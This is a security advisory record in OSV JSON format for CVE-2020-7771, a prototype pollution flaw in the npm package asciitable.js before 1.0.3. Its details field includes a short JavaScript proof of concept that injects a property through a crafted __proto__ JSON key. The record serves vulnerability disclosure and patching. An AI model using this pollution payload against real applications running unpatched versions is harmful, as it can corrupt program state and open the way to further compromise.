{"id":"GHSA-5pxj-mhwj-x5gv","summary":"Prototype Pollution in asciitable.js","details":"The package asciitable.js before 1.0.3 is vulnerable to Prototype Pollution via the main function.\n\n### PoC\n```js\nvar a = require(\"asciitable.js\"); \nvar b = JSON.parse('{\"__proto__\":{\"test\":123}}'); \na({},b); \nconsole.log({}.test)\n```","aliases":["CVE-2020-7771"],"modified":"2026-03-16T03:07:39.456641Z","published":"2021-04-13T15:24:59Z","database_specific":{"cwe_ids":["CWE-400"],"github_reviewed_at":"2021-04-06T23:32:45Z","github_reviewed":true,"nvd_published_at":"2021-01-04T12:15:00Z","severity":"CRITICAL"},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-7771"},{"type":"WEB","url":"https://github.com/victornpb/asciitable.js/pull/1"},{"type":"WEB","url":"https://github.com/victornpb/asciitable.js/commit/8db8fc5ffa7a2a6e8596709d99b200afb53f40ab"},{"type":"PACKAGE","url":"https://github.com/victornpb/asciitable.js"},{"type":"WEB","url":"https://snyk.io/vuln/SNYK-JS-ASCIITABLEJS-1039799"}],"affected":[{"package":{"name":"asciitable.js","ecosystem":"npm","purl":"pkg:npm/asciitable.js"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.0.3"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/04/GHSA-5pxj-mhwj-x5gv/GHSA-5pxj-mhwj-x5gv.json"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}